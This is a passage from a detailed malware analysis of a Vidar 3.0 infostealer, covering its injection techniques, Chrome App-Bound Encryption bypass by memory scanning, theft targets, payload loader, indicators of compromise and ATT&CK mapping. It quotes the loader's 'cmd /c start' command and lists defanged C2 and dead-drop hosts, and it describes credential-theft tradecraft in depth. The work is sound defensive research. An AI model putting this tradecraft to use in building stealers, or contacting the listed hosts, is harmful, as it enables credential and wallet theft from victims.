AD5F6F34615DCCFF1E59 - 764ee840-6622 - 6ADA1B9
└ LCG over volume serial ┘ └ HwProfileGuid ┘ └ short HWID ┘

Short HWID is persisted in the registry — the only registry-write path in the binary, and it stores the bot ID, not a Run key: HKEY_CURRENT_USER (0x80000001), read-first (KEY_READ, 0x20019), create-on-miss. The bot ID is therefore stable across runs on the same host. (This refines §6.5: “no Run-key persistence” remains correct — this is not execution persistence — but the payload does write to HKCU to persist its identity.)

Single-instance mutex Glasikprostik with wait-and-retry — it does not exit on collision: on ERROR_ALREADY_EXISTS (0xB7) it retries 60–120 times at 2–5 s sleeps, waiting out the previous instance for roughly 2–10 minutes.

7.9 Process injection performed by this payload

Stage 2 hollowed Stage 3 into calc.exe; Stage 3 carries its own injection arsenal — none fired in the 20 s detonation, so this is static-only.

PPID spoofing + suspended-process injection (sub_360015078): opens each candidate parent with exactly PROCESS_CREATE_PROCESS (0x80), grafts it via PROC_THREAD_ATTRIBUTE_PARENT_PROCESS (0x20000) into a STARTUPINFOEXA-backed InitializeProcThreadAttributeList, then CreateProcessA with 0x8080004 = CREATE_SUSPENDED | CREATE_NO_WINDOW | EXTENDED_STARTUPINFO_PRESENT. Fallback (no parent spoofable) drops to a plain STARTUPINFOA and 0x8000004. CopyFileA is resolved at the same call site — the sequence is copy self → spawn suspended under a spoofed parent → allocate → write → resume. Per the strings, the copy lands in %LOCALAPPDATA%\cnfigAp\ spawned with explorer.exe as the spoofed parent.

APC injection / process forking (sub_36000C8C0): resolves NtCreateProcessEx, NtOpenThread, NtQueueApcThread/NtQueueApcThreadEx2, NtQueryVirtualMemory, NtReadVirtualMemory, NtTerminateProcess — the process-forking pattern: clone a target process (typically a browser), read secrets out of the fork’s address space, terminate the clone. Sidesteps file locks, in-process integrity checks and most API-hooking — the original process is never touched. NtQueueApcThread/Ex2 give an early-bird APC execution path. A third, simpler path exists at sub_36000C35C — CreateProcessA + CreateRemoteThread.

Hidden desktop (sub_36002B663): CreateDesktopA + launching processes onto it via STARTUPINFOA.lpDesktop, so any browser it drives is invisible to the logged-in user.

7.10 Capability

All from resolved hashes plus call sites; the runtime IAT saw roughly the first two rows of this execute in the detonation, the rest is static-only.

  • Credential/secret theft — DPAPI is the centrepiece: CryptUnprotectData at two sites plus CryptUnprotectMemory/ CryptProtectMemory (how Chromium/Gecko stored logins, cookies and the Local State master key are decrypted). Symmetric crypto is delegated entirely to bcrypt — no AES tables, no SHA constants, no base64 alphabet anywhere in the image (checked explicitly): BCrypt open/set/generate/ encrypt/decrypt/destroy/close, BCryptCreateHash/BCryptHashData/ BCryptFinishHash, RtlGenRandom (SystemFunction036). A legacy CryptoAPI hashing path also exists (CryptAcquireContextA/…).
  • Locked-file theft via Restart Manager (sub_3600168B8): RmStartSession/RmRegisterResources/RmGetList/RmEndSession — the standard trick for reading a browser database the browser holds open.
  • File grabber (sub_36001A44C): drive walk via GetLogicalDrives bitmask + GetDriveTypeA (DRIVE_FIXED/DRIVE_REMOVABLE), traversal with FindFirstFileA/FindNextFileA/FindClose and NtQueryDirectoryFile, reading via CreateFileMappingA/MapViewOfFile, sizing via GetDiskFreeSpaceExA.
  • Screenshot (sub_360032EE4): GDI capture (CreateDCA/… BitBlt) + GDI+ encoding (GdiplusStartup/GdipCreateBitmapFromHBITMAP/ GdipSaveImageToStream) into an in-memory IStream — never to disk, consistent with the “no disk-staged exfil” detonation finding.
  • Recon: GetComputerNameA, GetUserNameA, GetSystemInfo, GlobalMemoryStatusEx, GetLocalTime, GetSystemMetrics, GetSystemDirectoryA, ExpandEnvironmentStringsA, GetEnvironmentVariableA, GetVolumeInformationA, GetCurrentHwProfileA.
  • Process/thread discovery: Toolhelp32 CreateToolhelp32Snapshot+Process32FirstW/NextW+Thread32First/Next, NtQuerySystemInformation, NtQueryInformationProcess, OpenProcess/NtOpenProcess, TerminateProcess/NtTerminateProcess.
  • Privilege escalation: OpenProcessToken/NtOpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges/NtAdjustPrivilegesToken, NtQueryInformationToken.
  • Console logging (dev/debug remnant): ANSI-coloured log prefixes lie decrypted in .data (\x1b[90m [~], \x1b[96m [*], …) behind logger sub_3601060E8, with GetStdHandle/GetConsoleMode/SetConsoleMode/ SetConsoleOutputCP resolved — inert here because the PE is GUI-subsystem, but a strong indication these binaries are built from a codebase with a debug console mode.

Chrome App-Bound Encryption (v20) bypass — the most current TTP, and invisible before string recovery. Chrome 127+ wraps the cookie/password master key in App-Bound Encryption, so DPAPI alone no longer suffices:

  v20: COM OK
  v20: fork-scan (%d pids)...
  v20: паттерн найден в pid %lu (score=%d)          [pattern found in pid]
  v20: Проверка ключа FAIL (pid %lu), пробуем следующий
  v20: завершаем %d процессов браузера              [terminating N browser processes]
  v20: Проверка ключа после перезапуска (pid %lu)...
  v20_com: found addr=0x%llX score=%d

Both routes are memory scans. v20: COM OK invites the reading that the sample drives Chrome’s own elevation service through IElevator — the best-known ABE bypass. The evidence does not support that: no COM instantiation APIs are resolved anywhere (no CoInitializeEx, CoCreateInstance, … across all 194 names); the only two COM-adjacent APIs belong to the screenshot path; and v20_com sits in a ReadProcessMemory function reporting an address with a score — a COM call returns a key, it does not “found addr=… score=…”. So COM names what is searched for in browser memory, not the mechanism used to ask for it:

  1. v20_com — scan for a specific pattern/object, report its address with a confidence score.
  2. fork-scan — the same sweep across every candidate browser PID — what the NtCreateProcessEx+NtReadVirtualMemory+NtQueryVirtualMemory set exists for: clone the browser, scan the clone, terminate it.

If neither works it terminates the browser processes and retries after restart. Output goes to %s_v20.txt / %s_key.txt with APPB/DPAPI type markers plus encrypted_key from Local State. Detection consequence: hunt cross-process reads against browser processes (read/enumerate from a non-debugger process, browsers terminated/restarted by something other than the user); COM activation of Chrome’s elevation service is not a valid signal for this sample.

Confidence: the strings, owning functions, ReadProcessMemory/ CryptUnprotectData call sites and the absence of COM APIs are established; the specific fork-scan cloning and COM-as-scan-target readings are the best reading of that evidence rather than verified line-by-line control flow.

Theft targets (recovered verbatim — what this binary knows about, distinct from the server-supplied plugin list):

  • Browsers: Local State, Login Data, Web Data, History, Cookies, login_data_for_account.db, Browser List; Gecko set logins.json, key4.db, cert9.db, places.sqlite, formhistory.sqlite, prefs.js. Normalised outputs passwords.db/cookies.db/history.db/webdata.db. Named: firefox, opera, C:\Program Files (x86)\Google\Chrome\Application\, %s Stable, Default/Profile directory handling.
  • Crypto wallets & browser extensions: Wallets, Wallet Rules, Plugins, Chromium Plugins, Local Extension Settings, Sync Extension Settings, IndexedDB, storage\default — reported as Crypto: %d кошельков (%s), %d файлов.
  • Messengers & gaming: Telegram — Telegram Desktop\tdata, key_datas, settingss, map*, account1…account9, auth_key, https://web.telegram.org, staged under Soft\Telegram\%s. Discord — discord, discordcanary, discordptb, scanning .ldb/.log. Steam — ssfn*, config.vdf, libraryfolders.vdf, AccountName, PersonaName, staged under Soft\Steam\%s.
  • FTP / SSH: FileZilla (XML <Host>/<Port>/<User>/<Pass encoding="base64">) and WinSCP (WinSCP: %s@%s), written to passwords.txt under a Soft: FileZilla header.
  • Cloud: Azure — .azure, Soft\Azure\accessTokens.json, azureProfile.json, msal_token_cache.json, Soft\Azure\TokenCache.dat.
  • File grabber: a path-variable system expanded at runtime (%DESKTOP%, %DOCUMENTS%, %DOWNLOADS%, %USERPROFILE%, %APPDATA%, %PROGRAMFILES_86%, %PROGRAMDATA%, %RECENT%, %DRIVE_FIXED%) driven by server-supplied Grabber Rules (mask, depth, recursive, maxSize, exclusions), staged as Files\%s\%s and zipped (%s.zip, zip_threshold); locked files via Restart Manager and the handle steal path (%d rm-lock, %d handle, SKIP %s [locked]).

Loader — second-stage delivery (not a stealer function; not visible from the API list):

Loader: start        Loader task: %s        Loader
  Loader: invalid PE (size=%d, not MZ)
  Loader: launched %s (PID %lu)
cmd /c start "" "%s"

with handlers for .exe, .dll, .ps1 and a funcname field (DLL export to call) alongside url — the C2 can push and execute arbitrary follow-on payloads. This sample is a delivery vector as well as a stealer.

Exfiltration shape: Sending %lu files in %d threads, Uploaded %lu/%lu files, thread_count, %s_%s_%s, %s.zip, Done in %lu min %lu sec. The host report is a labelled text block — HWID: %s, GUID: %s, MD5: %s, Path: %s, Windows: %s, Antivirus: %s, [Hardware], [Software], Version: %s, Date: %s, User Name: %s — with hardware from HARDWARE\DESCRIPTION\System\CentralProcessor\0, the display-adapter class key {4d36e968-e325-11ce-bfc1-08002be10318}, and OS naming from ProductName/DisplayVersion (Windows 11, Windows 10, Server, %s (Build %s)). One oddity worth recording: the string dQw4w9WgXcQ is present — the YouTube ID for “Never Gonna Give You Up”. A joke/filler constant, but a usable signature.

8. Indicators of Compromise

Network

TypeValue
C2 (direct IP, no SNI, no DNS)hxxps://2.29.7.186
Dead-drop resolver (Telegram)hxxps://telegram.me/m1duus
Dead-drop resolver (Pinterest)hxxps://www.pinterest.com/m1duus
Dead-drop resolver (Steam)hxxps://steamcommunity.com/profiles/76561198657426610
DDR delimiter tag / “sepword”x4tte
Actor/campaign handlem1duus
Candidate initial download (ThreatFox, unreachable)hxxp://86.107.168.126/verification.vrf
UA (record 0)Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/145.0.0.0 Safari/537.35
UA (records 1–3)Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/144.0.0.0

Samples / build

TypeValue
SHA-256 PS1 loader (Stage 1)463197e44988b401501816cf53a42212f4dabb6838272e4641cf03761772f061
SHA-256 .NET loader (Stage 2)cf4cd52d002d27e0aa092906be199dd017d26ad39c81c292c4016b2f37f15709
SHA-256 payload on disk (crypted, Stage 3)819b8c72cf69208a6206fe5642011b9d6b54fd83c9eac0646526bc39b32d86e5
SHA-256 memory dump (analysed)1f23112d0a72e91e10f4efb19e001dab4577e638a3fe1e8c007d4c7f6b7d036e
MD5 (memory dump)bd4635ff251d894a306feb7187bc3f97
Family / versionVidar 3.0
Build / campaign IDc4365025bf4905e4621f91972fe4429c
ImageBase / SizeOfImage0x360000000 / 0x25C000
Compile timestamp2026-08-05 20:50:41 UTC
PS1 function nameInvoke-crcspsszf
.NET namespace/classHollow_Runner.Program
Embedded resourcesXOR_Loader.build.txt, XOR_Loader.build_main.exe.bmp
XOR key (PS1 → Stage 2) / (BMP → Stage 3)byte 98 mod 30 / ASCII "121314"
Hollowing target / flags%SystemRoot%\System32\calc.exe / 0x4 (CREATE_SUSPENDED)

Host

TypeValue
Working directoryC:\ProgramData\1633343eabeb (shape: C:\ProgramData\<12-hex-char>)
Victim ID (this host)AD5F6F34615DCCFF1E59-764ee840-6622-6ADA1B9
Short HWID (this host)6ADA1B9
Bot-ID persistencea value under HKEY_CURRENT_USER (read-first, create-on-miss)
Mutex nameGlasikprostik
Self-copy directory%LOCALAPPDATA%\cnfigAp\
Spoofed parent processexplorer.exe
Staging subdirectoriesSoft\Steam\, Soft\Telegram\, Soft\Azure\, Wallets\, Files\
Loader executioncmd /c start "" "%s"
Sandbox username/host blacklistJohn, JOHN-PC, sandbox, SANDBOX

The working-directory name and victim ID are host-derived (volume serial

  • hardware profile GUID) and will differ on every machine — hunt on the C:\ProgramData\<12-hex-char> shape, not these literals.

Detection-usable constants

TypeValue
Hardcoded AES-256 key (hex → 32 bytes → BCrypt)4f8a2b1c9d3e7f6a0b5c1d8e2f9a4b7c6d3e0f1a2b5c8d9e0f1a2b3c4d5e6f7a
String-XOR key (16 bytes)88AA7AB34ED4833786FD5BB40B4B9911
String-builder seed0x6B519DF3 (at RVA 0x254A90)
API-hash basis / prime0x63975773 / 0x10003F1
Config record stride0x243 encrypted / 0x240 decrypted
Fallback-config version string2.8 (vs 3.0 embedded)
Joke constantdQw4w9WgXcQ

The hash basis/prime pair, the XOR key and the AES key are the strongest static signatures — build-specific constants present in the crypted on-disk file as well as the dump, and cheap to match.

9. MITRE ATT&CK

TacticTechnique
Initial AccessT1204.001 User Execution: Malicious Link (inferred — ClickFix delivery); T1204.004 User Execution: Malicious Copy and Paste
ExecutionT1059.001 PowerShell (PS1 reflective loader at Stage 1)
Defense EvasionT1027 Obfuscated Files or Information (rolling XOR, code-generated strings, junk code); T1027.003 Steganography (BMP payload); T1027.007 Dynamic API Resolution (custom FNV-1a, 194 APIs, zero import table); T1140 Deobfuscate/Decode (PS1 decode, BMP XOR, sub_360105914); T1620 Reflective Code Loading (Assembly.Load(byte[]); confirmed dynamically is_connected_to_peb:1); T1036.004/.005 Masquerading (calc.exe); T1055.012 Process Hollowing; T1055.004 APC Injection (NtQueueApcThread/Ex2); T1134.004 PPID Spoofing (PROC_THREAD_ATTRIBUTE_PARENT_PROCESS); T1134.001 Token Manipulation (AdjustTokenPrivileges); T1622 Debugger Evasion (ThreadHideFromDebugger, ProcessDebugPort, ProcessDebugObjectHandle); T1497.001/.003 Virtualization/Sandbox Evasion (scored sb: suite; rdtsc sleeps); T1564.003 Hidden Window (CreateDesktopA + lpDesktop, CREATE_NO_WINDOW)
Credential AccessT1555.003 Credentials from Web Browsers (DPAPI + the Chrome v20 App-Bound Encryption bypass); T1539 Steal Web Session Cookie; T1552.001 Credentials In Files (FileZilla/WinSCP/Azure token files)
DiscoveryT1057 Process Discovery (Toolhelp32); T1012 Query Registry (NtEnumerateKey/NtQueryValueKey); T1082 System Information Discovery (HWID/volume serial/hardware profile); T1083 File and Directory Discovery; T1518.001 Security Software Discovery (10-product AV fingerprint)
CollectionT1113 Screen Capture (BitBlt + GDI+); T1005 Data from Local System (drive-walk grabber); T1560.001 Archive via Utility (%s.zip, zip_threshold)
Command and ControlT1102.001 Web Service: Dead Drop Resolver (Telegram/Pinterest/Steam + x4tte); T1071.001 Web Protocols (WinHTTP over 443); T1573 Encrypted Channel (TLS to C2, BCrypt payload crypto)
Exfiltration / IngressT1041 Exfiltration Over C2 (inferred: multipart POST, Sending %lu files…); T1105 Ingress Tool Transfer (Loader: url/funcname, .exe/.dll/.ps1, cmd /c start)

Also worth noting: sub_360025F48 is a byte-wise zeroing loop (non-elidable SecureZeroMemory) run on every collected-data buffer before release — anti-forensic memory scrubbing. There is no file-deletion or log-clearing code in the binary.

10. Confidence and Gaps

Traced and verified end-to-end: PS1 → .NET decode (SHA-256 byte match); BMP extraction (reproduced, SHA-256 match); process hollowing (independently confirmed by pe-sieve + hollows_hunter, dynamic module/module_size matching the static ImageBase/SizeOfImage); string decryption (key recovered, config decrypted offline and byte-matched against the live dump); API hashing (14/14 against pe-sieve’s independent runtime IAT, then all 191 call-site constants resolved); DDR dispatch and retry policy (corroborated against pcap endpoint ordering and timing); victim-ID construction (reproduces the live value); injection, anti-debug and mutex sequences. All 568 per-string builders recovered by emulation — zero failures.

Identified but not exhaustively reversed: the JSON field bindings per task ID (2/3/4/6/21); the ~40 single-character/fragment strings’ assembly sites; whether the recovered constants are build-specific or family-wide (no second Vidar build cross-check). The theft targets themselves are not in this binary — they arrive in the server’s JSON, so no further static work on this file will yield the browser paths or file masks; those need a responsive C2 or a captured response body.

Still open:

  • Live C2 unknown. The DDR mechanism is fully recovered, but the profiles were not fetched (contacting live third-party infrastructure is out of scope), so whatever x4tte-delimited address they currently serve is unknown; only the hardcoded fallback 2.29.7.186 is confirmed.
  • No cleartext C2 protocol. No TLS decryption was attempted; the exfil record format is inferred from the task dispatch and WinHTTP usage, not observed on the wire (though the hardcoded AES key means a captured pcap could be decrypted).
  • The captured .ps1 has a real syntax bug (9 { vs 7 }) and does not execute as saved — confirmed by direct execution. Whether this reflects the in-the-wild delivery or is specific to this captured copy is unresolved.
  • Fallback config provider (sub_360105340, the 2.8 build path) not analysed — reached only when the embedded key byte is zero.
  • No persistence or disk-staged exfil observed in the ~20 s detonation — the injection, screenshot, grabber and DPAPI paths never executed. A longer detonation with a responsive C2 would be needed to observe them, since collection runs only after a successful handshake delivers the task configuration. Sandbox suite not triggered to completion either — the C2 teardown kept the sample in waiting states.

Static reverse-engineering done from the shell (PowerShell deobfuscation, PE parsing, hand-written decryptors/emulators, kuna decompilation); the dynamic stage was a single detonation in an isolated FLARE-VM with FakeNet-NG interception. Analysis artifacts produced: static_decrypted_config.json, resolved_api_hashes.txt, recovered_strings.txt, function_strings_map.txt (Stage 3 deep dive), plus hollowed_memory_dump_decrypted.bin, recovered_runtime_iat.txt, pesieve_scan_report.json, hollows_hunter_summary.json, pcap_tls_sni_log.txt, pcap_c2_ip_traffic.txt (detonation).